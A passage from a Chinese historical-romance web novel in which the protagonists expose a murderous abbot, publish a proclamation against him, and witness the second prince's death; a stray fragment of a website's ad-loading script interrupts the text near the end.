清缘住持说着,低头又凑近了些,视线还未聚稳,后颈忽地一痛,直接眼前一黑,就要向清弥法师身上栽去,结果被江岑许抢先一步掐着脖颈,扔到了一旁空地。 为保稳妥,江岑许拿着银针又朝清缘住持的百会穴扎了下,想是会昏睡很长一段时间。 薛适从经书柜跑出,推开大门走向外面,比了个江岑许教给她的手势,瞬间,三个侍卫连同先前送信的另一侍卫一起,四人齐刷刷地出现在她面前。 “劳烦几位侍卫大哥立刻去向主殿,将所有参与大祭礼的僧人和信众引到此处。大致内容就说…… 左偏殿这里,竟再现了大祭礼第一日大皇子身上的金色佛光。一首一尾如此呼应,是为大吉。” 薛适把能想到的说辞迅速说了一通,几人应声离开。 回到殿内,她和江岑许一起看向已被涂了半身金漆的清弥法师。 “好讽刺啊,殿下。”薛适轻声开口,“我也要和清缘住持做一样的事了。” “但你不会犹豫,也不会放弃,不是么。” “是……因为我知晓,清弥法师为了修炼金光咒、为了攻破那些荒谬的言论,付出了多少努力。我不想他遗憾,即便是以这样的方式,将金漆涂在法师身上,来伪造别样的金光,我也想—— 让清弥法师这样真正的卫佛之人,被更多人敬仰;让清缘住持虚伪作恶的行径,被所有人看见。” 江岑许沉默了片刻,忽然道:“也许,不用我们,清弥法师也会实现自己的想法。” “什么……” “你看,”江岑许指了指,“清弥法师腰处附近还没有被金漆涂抹的地方,隐隐缠绕着一圈金色的光。虽然因金漆太过刺目刚开始很难发觉,但仔细看后,这里的金光明显更加柔和,也更自然。” 薛适一怔:“迟何说,法师这几日强加修炼,就是为了让金光持续得更稳定、更久一些。难道……” “看来,清弥法师在毒发的前一瞬,已催动了金光咒。清缘住持因一门心思都在金漆上,所以一直未反应过来。即便他刚刚察觉出法师身上的金色有异,但也被我打晕了。” 一时间,大殿静寂。 高耸挺立的佛像依旧笑得慈悲;尊尊肃穆的佛骨依旧磅礴大气;昏倒在地闭眼的人面容平和;被涂染金漆渐看不清容貌的人金光灿澈。 无形的界线,将这四方佛殿分出四个世界。 似乎一切都是安宁神圣的。 直到门外传来人群议论纷纷的声音。 所有谎言,将被撕破。 “今年可真是稀奇,平常只存在于经书中,千百年都未必能遇的佛光,竟一下子让咱们见了两次,还都是赶在大祭礼这样热闹吉祥的日子。诶呵,够咱们这代人吹一辈子的了。还有咱们的子孙后代,也能跟着吹‘想当年我老祖宗可是见证过两次佛光现世的人’哈哈哈哈哈……” 另一人有些无语:“你别高兴太早,说不定只是有人故意放出谣言,想要哗众取宠,其实今日左偏殿这儿根本没人现什么金光。” “去看看又不会怎样,你这么扫兴作甚……” 声音愈来愈近,江岑许听准时机,给清缘住持解了穴,拉着薛适再次藏回了经书柜中。 刚关上柜门,一干人已浩浩荡荡踏入殿内。 只是进来后,众人最先注意的反倒不是所谓的“佛光”,而是眼前实在有些诡异的景象。 中央的金色佛像半侧着身,身上的袈裟竟是门状,显露出幽深的空间,一眼探不见通向的尽头,俨然是个布有机关的密室。 佛前放着蒲团的地上,竟躺着两个人,一个双眼紧闭似是睡着,另一个却是满身金色,灼灿耀眼。 有僧人迟疑开口:“清缘住持和……清弥法师?” 见两人皆未醒来,寺中精通医术的僧人立即上前,“清弥法师……已经圆寂了,似是中了毒。” “清缘住持——”还未等僧人进一步查看,清缘住持皱着眉,摸着钝痛的后颈,悠悠醒了过来。 他睁开眼,却吓了一跳。 怎……怎么回事? 为何殿内一下来了这么多人? 他已开启密室,旁人怎会从外进来? …… 一连串的问题压得他头痛,还不等细细思索,有信众忽地大声道:“你们快看!清缘住持手中拿着的毛刷怎么一片金色?似乎和清弥法师身上的金色一致?” “所以今日根本没有什么金光?一切都是清缘住持的把戏?” “可……清弥法师怎会死?” 有懂医术的信众也热心上前帮忙查看了一番,同精通医术的僧人对视后点了点头,开口道:“看清弥法师的症状,应是死于平眠散,所以外表看去很是安宁,与平常无异。从毒发到现在,应还不到一个时辰。” 有人“啊”了声,叹道:“清弥法师出现在这还好,因现在还未到由他领诵经文的时候。但身为住持的清缘法师,为何前不久还在主殿操持大祭礼,眼下竟又突然出现在距主殿并不近的偏殿?还与清弥法师毒发的时间重叠,眼下种种,很难不让人怀疑……” 不等这人说完,清缘住持大呵一声:“佛祖在上,休得胡言!我不知清弥怎会死,但他生前同我说过,希望死后可以以身镀金漆,供信众奉拜!贫僧不过是在实现他的心愿罢了!” 人群中忽地安静了一瞬。 清弥住持毕竟德高望重,一直以来都深得信众敬仰,被他这么一反驳,众人也觉得似乎有几分道理。 江岑许的侍卫掩在人群,此刻身着粗布衣衫甚是普通,完全不见平日的威凛,见此情况,想起薛适先前的话,立马放声打破了寂静。 “不对!诸位快看,清弥法师身上已隐隐缠镀一圈佛光,与先前大皇子身上的一般无二,甚至更加浑然天成,与那劣质刺目的金漆截然不同!既如此,何以还需住持多此一举,平白糟践自己洁净的身体?” 此话一出,不少人立即凑上前,揉了好几下眼以防看错;还有人将深色的衣袖在金漆处和金光处来回比对,辨识两种金色的不同。 “真的!是真的!” 一时间,众人七嘴八舌,讨论什么的都有。 “这样看来,佛光并不是只有大皇子才能修成,你看,清弥法师即便圆寂,依旧能身现金光,想是生前善举感动佛祖,以此金光庇佑他死后安宁。” “你还想着佛光的事?清缘住持都毒害清弥法师了,佛光现不现的,还重要吗?” 有人不以为然:“虽说清缘住持确实形迹可疑,但他为 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薛适和江岑许从经书柜中走出时,殿内只剩迟何一人,跪在清弥法师身前,垂头不语。 见薛适过来,迟何以为她是刚刚知晓了消息从外边进来的,再也控制不住,“哇”的一声,扑在薛适膝边痛哭流涕。 “薛待诏……我没有师傅了……我没有师傅了……” “我师傅那般好的人,清缘住持为何要杀了他!为何……” 薛适一如平常般,一下一下摸着迟何的头,忍着哭腔,她微微笑着,很轻很轻地说:“因为法师他太好了。清缘住持害怕,怕自己的坏无处遁形。所以,迟何,”薛适看着他,温声道,“你愿意和我一起,为清弥法师讨一个公道吗……” - 长临书院后,溪山下。 阿雅从午间太阳最盛时,满心欢喜地等待;到现在夜色深凉,她连山川都有些看不清,又怎么见得到,想见的那个人。 她看着手中欲要送人的上好的画扇,自嘲地苦笑了下。 他应该……不会来了吧。 可她依旧会等,直到今日彻底结束。 既已应下今日赴约,无论对方是否会来,她什雅永远会信守承诺。 忽地,身后传来脚步声。极快的次律,伴随着隐约辨听的呼吸,来人俨然是一路跑过来的。 阿雅神色一喜,急急回身,站僵的双脚险些令她跌坐在原地,但眼睛仍旧亮莹莹的。 可视线尽头,并不是那个熟悉的人影。 阿雅眸光慢慢黯淡,眼前的人她记得,这是他唯一的小徒弟。 迟何的面容掩在溪山的暗夜里,看不清情绪。出口的声音有些哑,语调也很慢。 “阿雅姑娘,我师傅……让我把这封书信转交于你。” “他人呢。” “……我不知。”迟何将书信递到阿雅手上后,只留下一句“姑娘离开时注意安全”,便头也不回地跑开了。 很快,这里又只剩下了阿雅一人。 她手心冰凉,指尖冻得半天也掀不开信纸。忍着因寒冷而生出的灼烧般的刺痛,才终于慢慢启信。 纸张舒展,熟悉的字迹瞬入视线。 迎着月色,她看到上面的内容: 【一川淡月疏星,红裳刀影娉婷。 三两惠风弄袖,知我此心慕卿。】 39. 承诺 一瞬间,岁月倒退,在记忆中的某一日定格。 那夜,她在此练习刀法,准备教导他。而他无意间闯入,识破了她的女扮男装。 眼泪载不住这过分熟稔深刻的记忆,颗颗掉落,无声无息。 阿雅紧紧捏着信纸边缘,不忍使其褶皱。 他到底是什么意思…… 为何这般表明心意?为何约好了,却又不亲自来见她? 阿雅觉得有些混乱,反反复复地将书信看了好几遍,想要平复下心神。 除去书信内容,她注意到底端的名字并不是他如今的名号“清弥法师”,而是他原本的姓名,白明深。 只是当她看到书信开头的“什雅亲启”时,眸光骤然一滞。 忽地想到什么,阿雅将信纸装好后立即离开了长临书院,直奔向请愿寺的方向。 - 薛适一离开左偏殿就回了房间,将先前准备的对百姓过度依赖佛法之事的文章又进行了润色完善,着重写明了金光。 【佛光现世,此乃奇景,人皆往之乃常事。然此非自然所成,而因炼咒,道家金光与此无异。为证此事,以防民之蔽深,清弥法师潜心修之,且大成,今于左偏殿现。然法师圆寂,难再证,故其徒迟何欲修之,以卫佛尊道,愿无人复受欺。】 薛适转了转手中笔,只待与先前所写整合成新的文章,便可流传。正欲誊写时,几下敲门声传来。 “请进。” 阿雅一步一步走近,举起手中信纸,哑声问她:“薛姑娘,这信……是你写的,对不对?” 薛适纤密的睫毛颤了颤,不等她应,阿雅已笃定开口:“‘什’这个姓氏太特别,一看就是异族。所以先前我在长临书院求学时,将‘什’改成了‘时’,他一直叫我的,都是‘时雅’。” “我知道他的为人,也知道你的为人,所以为何会有这封由薛姑娘你来代笔的书信……” 她抽噎了下,脑海中忽地浮现出方才看到的画面。 四个僧人各于一角,用粗布托起一个浑身似笼金光的人,恰与她错身而过。 暗夜下,她看不清僧人的神色,也看不清粗布之上那人的模样,可当她与他们的身影短暂于风相汇时,心中却本能地生起阵阵刺痛,似被利刃狠狠剜过。 她怔愣了片刻,想要转身回望时,眼前已空。 刹那间,眸中氤氲彻底凝结,再也承受不住地滑落。 阿雅压抑着哭腔,声音极轻,“是不是因为,他死了……” 薛适鼻尖一酸,原本明媚肆意的女子如今却倔强地看着她,无声落泪。 她艰难扯出丝笑,轻轻抱住了阿雅,“抱歉……” 阿雅比起薛适还要高一些,但此刻她垂着头埋在薛适肩上的模样,却是那样的脆弱。 “我去后厨找你时,听小僧说了你们的约定,但我知……你等不到他了。” 薛适的声音很轻,很柔,带着能安抚人心的舒宁,“我曾在晨间无人的请愿寺外,听过法师对你的心意。我想你应知晓,也不想法师遗憾,所以擅自写了这封代笔。” “或许,你会觉得一切太迟,直接回到关塞;或许,你会想要回寺问个明白。我无法判断,所以,我想借这封书信,让你起码可以知晓法师真切的心意。然后,由你自己做出选择。” 肩上温热更甚,阿雅终是哭出了声。 薛适仰了仰头,亦将眼中湿润圈禁。 良久,阿雅拉着薛适坐在床边,沉声问:“是谁害的他?” “清缘住持。” 阿雅冷笑:“因为今日就要宣布的什么住持之位?” 薛适思忖了下,还是选择告诉阿雅清缘住持与江接之间的关系,以及他们修炼金光咒早早为自己谋反做准备的事。 阿雅死死握紧拳:“此为大益内政,我无法干涉,但他的仇,我定会报!” “我会立即回到关塞,背负我该背负的责任。”她看着薛适,红肿的眼此刻露出自信与张扬,“我要登高位,握实权,我要让大益皇子忌惮,我要为他报仇。” “我要关塞摆脱阿兄的残暴统治,走和平之道,不再施加侵略。” 这样的阿雅,好像又回到了与薛适初见那日,明艳飒爽的模样。 薛适一一应下:“嗯。” “只是……”阿雅歉疚开口,“一直以来,我好像都给你添了很多麻烦。 “谢谢你,我的小师傅。” 她问,“你还记得我的承诺吗?” 薛适弯唇,点头:“记得。” 那日清晨,客栈靠窗的角落,阿雅与她汤碗相碰,说自己以后厉害了,两国和平相处,她和她的朋友来自己的地盘,定处处照拂。 薛适看着她,笑意真诚而灿烂,“阿雅,你会变得很厉害。” “我相信你。” “小师傅,很相信你。” 阿雅吸了吸鼻子,仰着头,不断眨着酸涩发红的眼。然后,用尽全身力气,头也不回地转身往门外走,压抑哭腔的声音,却闷得厉害。 “走啦。” “要……保重。” …… 阿雅离开后,找遍了请愿寺,终于找到了安置清弥法师的地方。 因官府介入,她无法亲自为他擦去满身肮脏的金漆。只能轻轻掀开窗,远远看上这最后一眼,低声轻喃道:“我曾下定决心,等大祭礼结束,就会和你再表明一次我的心意。现在,我来兑现诺言了…… 我从未有一日,放弃过喜欢你这件事。” 阿雅攥着没能送出去的画扇,和薛适代为传递心意的书信,说道,“今日这一面,此时此刻,我们算是迟来得见上了。那么……” 她握着与他最后仅有的一点牵系,头簪月光,与风诀别。 “再见了……” “白明深。” 她最后一次唤起他的名,像是吟诵着她最为刻骨的情诗。 至此,异国两端,生死相隔。 我想见你这件事,成为了回忆与我之间的秘密。 - 目送阿雅离开后,薛适终是忍不住,慢慢蹲下,将面容埋在膝间,眼泪无声而落。 身前有脚步声传来,带着莫名使人安心的重量,一下一下,愈加靠近。 薛适抬眸,朦胧看见,江岑许单膝跪在她对面。 “殿下……” “嗯。” 薛适不安地皱了下眉:“是……出什么事了吗?” 江岑许笑了声 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“我们都没错,虽然不可避免地会多想,会自责。那么索性,就尽情去难过吧,不要忍着。 这样发泄过后,才能好好向前。那些清弥法师走不了的前路,由我们替他走。而且……” 江岑许的唇角牵起温和的笑,“你不是已经在做了么。”他眼指了指桌案上那些文章,“你在用自己的力量,替清弥法师争取公道。” “你做得很好。” 虽然江岑许平日说话总爱阴阳怪气,时不时还会刻薄几句,但他的声线很好听,比女子要沉哑些,如远山;比男子要清越些,似玉华。因而,他常含轻笑的语调较旁人多了分独特的洒脱和肆意。 但此刻,薛适却好像能从他安抚的话语中辨听出属于他真正的声音。 不是散漫的、端腔抬调的,而是如水底徐徐漾漾的涟漪,轻缓、柔和,却有力量,令她的心口渐渐升腾起温热,一点一点驱散蔓延的哀伤与自责。 因为要永远记得,所以仍会在想起时难过,但比起刚刚,她已经有了更多信心和勇气,同这些压抑的情绪共存。 与其将这些视作悲伤一直自我痛苦,不如作为标识,时刻提醒自己应该为此做些什么。 薛适整理好情绪,将目光再次落在江岑许身上,眉眼弯弯一如平常:“谢谢殿下特地过来安慰我。” 见薛适心情好多了,江岑许又变回了原来的样子,嘴硬否认:“也不是特地。不然你一直在我梦里哭,本宫睡不好。” “哦……”薛适没有戳破江岑许的口是心非,甚至大着胆子主动道,“那臣给殿下唱歌,就像以前在宣微殿那样哄殿下睡觉,这样赔罪可好?” 看着面前说起这些都不再脸红的人,江岑许哼笑了声:“薛待诏如今可真是本事见长。” “那殿下,喜欢吗?”薛适仰头,笑着问他。 相似的话语,好像回到了教江岑许写艳诗的时候,她问“喜养面首”的“她”,是否喜欢以这样的方式学习书法。 面具之下,江岑许那双漂亮的眼中噙着笑,没有像当初那样回一句“尚可”,而是看着她,了当道: “喜欢。” 40. 宣告 江措知晓薛适的想法后,特地从刺史府搬到了请愿寺,同薛适一起整理文章。 “我一人就可以的,摆摊时二皇子已经帮了不少忙,怎么还能劳烦你再为此事烦心?” 江措故作不悦,语气却是温和如常:“薛待诏怎么跟我还这般客气?且不说宫赋已经完成,我左右无事,就是看在清弥法师生前在诗文经书上对我的点拨,我也该陪你一起,替他讨个公道。” 薛适还欲再说,江措却已坐在案前,垂眸认真翻看着她先前所写手稿,蹙眉思索着,执起笔在纸上圈圈画画,认真批注。 她心中一暖,默默起身去到后厨,斟了壶江措最爱喝的白茶,又配上他爱吃的巨胜奴,呈到桌上,“谢谢二皇子。” 江措微愣,盯着面前的巨胜奴有些出神:“你……亲手做的?” “嗯。”薛适笑道,“不然太没诚意了些。” 江措眸光一亮,立即捏了块尝着,“很好吃!” 官府这边效率亦是极高。左偏殿佛像袈裟后的密道所通之处,竟是主殿之上的另一尊佛像,不过因所置偏僻,不易被人发现,如此便可解释得通,为何清缘住持能在短时间内神不知鬼不觉地从主殿转而出现在左偏殿,想是故意选定此处,既便于密室藏尸,又可来去自如。不过因报案及时,关于下毒的罪证清缘住持根本来不及销毁,杀人行径确凿无疑,无可辩驳。 一时间,清缘住持成了扬州城茶楼酒肆、街坊之间最受百姓欢迎的谈资。很多人纷纷猜测,他是为了稳住自己的住持之位,所以才动了杀心。 “那金漆如何解释?清缘住持既已杀了清弥法师,为何还要多此一举?”江岑许身边的几个侍卫藏在人群,适时抛出疑问。 “这……”众人思索着,猜了好几个答案,结果连自己都觉得纯属胡扯,一番议论下来,皆没得出缘由。 “该不会……和大皇子有什么关系吧?”有人灵光一现道。 “你不要命了?!” 那人环视了圈四周,压低声音道:“大祭礼最后一日你没到左偏殿,但我去了,所以瞧得清楚,清弥法师身上也显现出了大祭礼第一日大皇子身上的佛光,几乎一模一样!如此之巧,那涂以金漆会不会是为了掩盖清弥法师身上的佛光?毕竟金漆颜色深,若不上前细看,很容易就忽略了佛光的存在。” 此言一出,这下,不仅清缘住持,连带着江接,也成了城中百姓议论纷纷的对象。 很快,传言如风,终是刮进了江接耳中。 “岂有此理!” 他本就因清缘住持被官府关押而忙得焦头烂额,想着派人暗杀灭口,然而官府不知从哪听到了风声,看守十分严密,最后一番冒险也只是毒哑了人,这一波才堪堪算平。结果还没等缓口气,另一波就急急赶上,还一把火烧在了他身上! “江岑许!”江接咬牙切齿,“去,你们都给我去,想尽一切办法,把传言给我平了!本王要三日内,城中再不会有此言论!若是办不好,你们全部依军法处置!” 江接虽气得不行,但还不至于太慌张。毕竟大祭礼初日,他身现佛光的异象几乎人人亲眼所见,远比这些传言要更直观、更令人震撼。即便清弥法师已修成金光咒,但那又怎样?人已经死了,影响有限,而他“天选之子”的名头却是人人深刻,崇信至极。 这么一想,江接心情好了不少,刚想喝口茶润润喉,就听有人急急进来跪报:“大皇子不好了!” 江接死死捏住茶杯:“……说!” “二皇子和薛待诏写了篇檄文,如今已是满城传阅了!估计很快就会传到皇上那儿……” 禀告的人跪移到江接跟前,强压住颤抖,将写有檄文的宣纸递给江接。 江接看了眼题目——《讨请愿寺住持清缘檄》,骂了声:“如此惊慌做什么?这不是讨清缘那和尚的吗?与本王何干。” “您……您再往下看看……” 江接哼了声,撑着耐心继续扫了眼,结果脸色越来越沉。 【《讨请愿寺住持清缘檄》 大益十三年正月初七,吾江措与待诏薛适告扬州请愿寺住持清缘: 慢侮佛法,戏弄信众[1],授吾兄江接道家密咒金光,伪作佛光,矫托天命[2],欺惑众庶[3],亦令皇室羞。为瞒此事,更毒杀同寺法师清弥,甚涂以金漆伪作入京佛骨掩人耳目,残害无辜,震怒万民[4]! 然其罪何止一个?三年前扬州瘟疫之事实为谣言,其欲获住持位、得声名,暗与人勾连,于长临书院永兴池水下三日采伪作瘟疫,致书院书生及百姓惨死。后假行仁善,鼓吹求佛请愿万事可成,信众受欺,不劳不作,丧失自我,信仰失格。然薛待诏至扬州后亦代写福纸,助人祈愿可成,不难知酬愿者皆因自身之力,信仰不过锦上添花,唯勤勉奋进才可行之长远。 是故今略举大端,以喻使民,申命百姓[5]。愿信仰纯粹如初,心有所依,却非沦失痴迷。 另,闻皇兄与清缘住持稍密,吾甚忧。万望皇兄明辨,远离非人,切莫再受蒙蔽。】 “好、好啊,还真是荡气回肠、引人愤慨!还真是令本王感动!”江接大掌一收,纸张瞬间被揉成团,他磨牙道,“连二弟也跟着参与进来了!就连二弟,也是向着江岑许的!” 禀告的人小心翼翼道:“清弥法师的徒弟迟何也已修成了金光咒,并亲口诵念了这篇檄文配合流传,城中百姓皆是愤懑不已,更加确定一直以来清缘住持的种种作为,和您先前所现佛光,都是在愚弄他们,玷污佛法。甚至,他们都在说,与清缘住持勾连之人,是大皇子您……” 虽然事实确实如此,但被写成檄文人尽皆知,却是他们未曾想到的。即便大皇子再想出手,檄文已传,根本无法挽回他在百姓心中的形象,还会适得其反,更加确认大皇子与清缘住持合谋,是背后筹划一切的主使。 江接眸色沉如乌墨,“我了解二弟的文风,温和如水,远不会如此犀利。除了最后一句,我敢肯定,这篇檄文基本全部出自薛适之手! 看来徐桓应果然被江岑许带走了,所以他们才敢这般提及瘟疫,还知晓了三日采。 最为诡计多端的是,他们只在最后以兄弟的口吻提了一句我与清缘住持相处较密,美其名曰表达关心,但此前不着痕迹的铺垫,已在无形之中引发了别人的猜疑,轻而易举就将所有祸水引到了我身上!好一个江岑许,好一个薛适!” “你们先一步回京,务必隐秘行踪,加快进程,同袁敏达准备好所有兵马,届时与我在扬州汇合。既然本王的封地在扬州,扬州如今又是长安的陪都,不比长安差,那我在扬州称帝又如何?就算现在被江岑许和薛适搅合得没了好名声,但历史从来都由胜者所书,千百年后谁还辨得清孰真孰假、是非对错?后人只会记得我江接,是大益的下一任皇帝!” 闻言,屋内所有人齐齐跪拜,放声高呼:“大皇子英明!”“唯大皇子马首是瞻!” 江接扶额坐下,挥退了众人。茶早已变凉,他也没了喝的兴致,只觉烦躁得厉害。这时,又一下敲门声响起,他不耐道:“还有什么事?” 等看清来人是谁时,江接有些意外地皱了皱眉,“明侍郎?临要回京你却特地来了扬州,是礼部那儿对迎请佛骨一事还有什么要求?” 时任礼部侍郎,亦是宰相明文昌的侄子明修,拱手见礼道:“在下此番是秘密出京,来扬州办些私事。只是偶然听得京中流言纷起,替大皇子感到憋闷,所以特来拜见,想告诉一些大皇子所不知道的事。” “既如此,那本王洗耳恭听?” “二皇子同五公主交好,缘于二皇子的母妃与许皇后是密友。那如果,二皇子母妃的死,与许皇后有关呢?” 江接来了兴致,连冷了的茶也喝出了些许滋味:“此话怎讲?” “宫中人只知道,皇上以许皇后心怀不轨、肆意干政为由,废了许皇后的后位,许皇后失了盛宠,最后自缢而死,却没人知道,圣上隐瞒了真正的原因。” 明修悠悠开口,浅淡的笑意却有股阴寒之意,“许皇后与前关塞王子,即现任关塞王,乃青梅竹马,因着这层关系,她暗中将大益局势写于书信,传给了关塞王,证据确凿。而那时,关塞挥兵入侵,正值我大益危难之际,许皇后若不死,如何平得了朝臣之怒?” 江接锐利的目光黯了黯:“所以现在宫里的人都不知道这件事,皆是因父皇暗中压了下去,不许人提?” 明修不置可否。 江接想到 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明修笑了笑,不慌不忙道:“大皇子此言差矣,伯父向来帮理胜于帮亲。他只是觉得,二皇子为人和善,又受朝臣及百姓敬仰,还无野心,怕被五公主借着两人母亲间的交情利用。而皇上又一向对许皇后的孩子偏爱有加,伯父不想再看到大益出现第二个女皇帝。毕竟有违逆理之人,先帝一个就够了。” - 这边,请愿寺中。 长临书院的书生再次前来时,已与往常品茶斗诗的心境不同。他们反省着自己作为读书人,却不仅被清缘住持蒙蔽,还模糊了信仰真正的边界,没有给百姓起到好的示范。 “不要太自责,幸有你们常来寺中,才可以让我们这些僧人也有机会读书习字,品鉴诗文。” 变故之后,迟何被选为了寺中的新住持,以前乐呵呵的脸上已不见笑容。即便容貌未变,但穿上代表住持身份的僧衣,却像一下子长大不少,好似也有了清弥法师身上的几分温和出尘。 “还请各位常来寺中,不是为了求佛祈愿,而是将诗书文墨传给更多人,不仅仅是寺中的僧人,还有来寺中的寻常香客。这样,才能更好地以文化拱卫政治,发挥我们扬州作为陪都的作用。” 书生们纷纷拱手表示受教,其余小和尚听了也是目露期待。 身后看着的江措却是有些讶然:“迟何这话,和你当初同我说的一模一样。” 薛适解释道:“先前迟何同我说,既然清弥法师生前并不喜书院书生常来请愿寺,那是不是以后都要禁止书生前来品茶斗诗呢。 我便说了自己的想法,法师所不喜的,是书生作为影响深重的群体,被有心之人利用后,他们痴迷佛法之举会形成风气,瞬间席卷至寻常百姓。 但如今,大家都已识清了清缘住持的圈套,大部分人也开始正视自己对信仰的看法,逐渐恢复到从前,那就要挖掘书生到寺所带来的好的一面。” 江措一笑:“不愧是薛待诏。如此,清弥法师应该也可彻底安心了吧。” 薛适弯了弯唇:“嗯。” 她做到了。 执手中之笔,尽笔墨之能,了却了清弥法师未能实现信仰回归正常的遗憾,替他的死讨了说法。 若是阿雅知道了,也一定会很开心吧。 这样,才算称得上江岑许那晚对她说的“你做得很好”,也没有辜负总是帮助她的江措。 薛适道:“多谢二皇子,以自己的名义写成这篇檄文。不然关于大皇子的部分,由我来说,效果远不如现在。” “若以你之名,我怕大哥会觉得没面子,事后难为你。何况,此事确实是大哥不对,而我对大哥的担心,亦是发自内心。” 怕薛适会再向他道谢,江措故意道,“我还担心薛待诏会怪我夺了你文采斐然的好名声。” “怎么会?二皇子诗文出众,本就天下皆知。” …… 两人说笑的画面,清晰落入了站在不远处的江岑许眼中。 虽然心中像是沾染了打翻的青梅酒,酸洌弥漫,但看到那晚忍着泪水强颜欢笑的人再次重展笑靥,他也不自觉地,跟着掀了掀唇。 蓦地,那抹人影侧头看过来,眸光盈盈,朱唇轻启,俨然在唤“殿下”。纵遥遥无声,但嘴角翘起的弧度,却似能描摹出世间最为灿烂艳丽的花瓣。 江岑许觉得心跳慢了半拍。这一瞬,青梅酒变成了他最喜欢的樱桃露。 很甜。 41. 入骨 大祭礼结束,为大福殿迎请的佛骨也已准备妥当,五日后众人便可启程回京。 本来在回京前一切都很顺利,直到城中流传了一篇赋,还称是由薛适亲笔。若不是迟何告诉她,薛适一直待在寺中都无从知晓这件事。 “这赋已经流传两日了,许是因事关五公主和二皇子,所以他们知道了也未告诉你。” 迟何稚嫩的声音带着忧愁,老气横秋地摇了摇头,“人言的力量虽然厉害,但也最易受蛊惑。明明他们来求代笔时都见过薛待诏你的字,也了解你的文风,应知这并不是你写的,可大家不会深究这些。反正由薛待诏你构思内容,他人落笔,也是合理的,而赋上内容又事关皇室辛密,向来最引人好奇,所以他们便这样简简单单地相信了。” “是啊。”薛适无奈地笑了下。 她写檄文时,结合了官府的证据和迟何修成的金光咒,力求真实无疑。之所以处处小心谨慎,最重要的是于自己问心无愧,但对百姓,又怎能苛求太多?相信与不相信,都是他们的权利。 薛适深吸了口气,摊开纸,只见上面写着: 【当今五公主江岑许之母、前皇后许氏,与关塞勾结,暗传书信,行叛国之举,故自缢谢罪。二皇子之母遥妃因与其甚密,亦遭牵连而逝。】 除此之外,赋中还写明了对于此事的看法,但薛适已顾不得看,连话都来不及和迟何说,就直奔刺史府而去。 可无论是江岑许还是江措,都不在刺史府,吴陵维也不知他们的去向。 薛适沿着两人可能去的地方一路找寻,因跑得激烈,喉咙有些火辣辣的灼痛。 她没想到,迟何口中“事关五公主和二皇子”,竟指的是许皇后和遥妃娘娘的死。 虽然知晓他们会相信她,可事关重大,许皇后是江岑许心底最深最痛的疤,遥妃娘娘是江措最敬爱最想念的母亲。 他们二人虽都未明说过,但薛适看得出来,四个皇子中,属他们二人关系最好。 薛适不想坐以待毙,她想第一时间同他们说清,然后一起商量解决的办法。 薛适找了一圈,最后跑到三人常去的茶楼——见南山。 她急急踏入,不知为何,今日客人很少,连总要和她打声招呼的热情掌柜也没了去向。 薛适按捺住疑惑,上到二楼,向熟悉的靠窗位置看去时,却若瞬遭雷击。 四周一切好像都变得遥远而模糊,她听不见任何,也看不见其他,只有靠窗处的那片鲜红刺目不散。薛适脚步踉跄,险些从楼梯跌下,久久无法回神,只能凭着残存的清醒,扶墙站稳,然后一步一步,向那片鲜红跑去。 “二皇子……” “你……你怎么了……” 熟悉的座位,江措倒在靠窗的地上,深陷血泊,气息奄奄。 薛适颤抖着跪在一旁,不敢置信地将人扶起,眼泪止不住地掉,“大夫……大夫呢?”她看向一旁围着的人,捕捉到熟悉的掌柜,哭哑道,“掌柜……麻烦你……” “不必了……”蹲在不远处的男人哀声道,“我就是大夫,掌柜及时找了我,这位公子所受刀伤危及心脉,已是……无力回天。” 掌柜掩面擦着泪,呜咽道:“江公子那般好的人,怎么就……怎么就遭此不测了呢。” “无力回天”短短四个字,却刺得薛适耳膜鼓胀,只余嗡鸣。 怎么会呢…… 明明前不久,他们还在一起谈论文章…… 薛适空洞地垂眸,呆呆看着自己的手沾染上江措身上的鲜血,直到眼睛酸涩地又溢出泪花,她才忍受不住地眨了下眼。 刹那间,眼前朦胧更甚,像是将她罩在了无法挣脱的深海。 忽地,有人勾了勾她的小指,像是浮萍有了可依的海岸。 薛适瞳孔一缩,“二皇子?” “太好了!你,你不会有事的,对不对?大夫就在这,你一定可以好起来的,我们还没将写好的赋交给皇上呢……”薛适很想露出欣喜的笑容,可她越是想这样,眼泪越是止不住地砸落。 她明知江措转醒的此刻,只是短暂的回光返照,可她还是想自欺欺人,只愿眼前不过是一场夜里久难醒来的噩梦。 江措依旧笑着,就连身染鲜血,也无法吞噬他身上的温润翩翩。 “不要……难过……能见你最后一面,我很开心……” 江措的声音喑哑破碎,薛适只能贴近他的耳侧,才能听清他用仅余的气息倾吐的话语。 “我相信……母妃的眼光,相信许皇后的为人……相信小五,更……” “相信你。” 他松开手指,转而轻轻握住了薛适的手腕,笑容更深,“因为,你是特别,特别美好的……女子。” “而我,很喜欢你……” 江措说完,便缓缓合上了眼。 他不执着于看到薛适给予什么回应,只是希望她能够知晓自己的心意。 然后,不要难过,不要为此愧疚,就够了。 薛适手腕上的力量蓦地一松,只留江措最后递到她手心里的某个小小的坚硬。 “二皇子?” 耳侧声音尽息,薛适不死心地,又贴近了些,“二皇子……” 回答她的,只有自己眼眶中源源落落的泪水。 即便她再不愿,也不得不认清事实。 这个在她初赴宫宴时,就温柔告知她身为待诏需注意什么的人;这个总会照顾她,与她有着共同的爱好,陪着她在笔墨之路上前行的人…… 永远地留在了扬州,在这个与他温暖润泽气质截然相反的冬日里。 掌柜抹着泪,义愤填膺道:“江公子是和他妹妹一起来的,我还有小二都看见了。当时二楼只有他们一桌,定是他妹妹杀了江公子!薛公子,你且放心,我虽没抓到他那歹毒的妹妹,但我已早早让人报了官。你别担心,那杀人凶手逃不了多远的!定会入狱获罪,不得善终!” “妹妹……” 薛适的声音哑得厉害,“你是说……” “就是跟你们一起来过的,那个带着莲花面具的姑娘!” 薛适紧紧攥着江措最后递给她的东西,不自觉提高了声音:“可还有其他人看见他?” “楼下的几桌客人应该都看见了。” 话音刚落,官府的人已经上到了二楼。 “此乃当今二皇子,务必严查此案,逮捕凶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手!” 掌柜还有其他人一听,皆是惊讶至极,这才知晓江措的身份。 江公子竟是皇子。 那皇子的妹妹……岂不就是公主? 掌柜立马热心地将方才和薛适讲的又原原本本说了一通。 虽暂无物证,但一干人都看见了江岑许和江措一起进来。毫无疑问,江岑许目前是杀害江措最大的嫌疑人。 顿时,周边围着的人小声议论起来。 “怪不得,看来这两日传得是真的了。” “五公主竟会为了掩盖自己母后叛国牵连得二皇子母妃因此而死,将二皇子杀掉。真是愚孝啊!” “可……说不通啊!五公主一个手无缚鸡之力的弱女子,如何杀得了二皇子?” 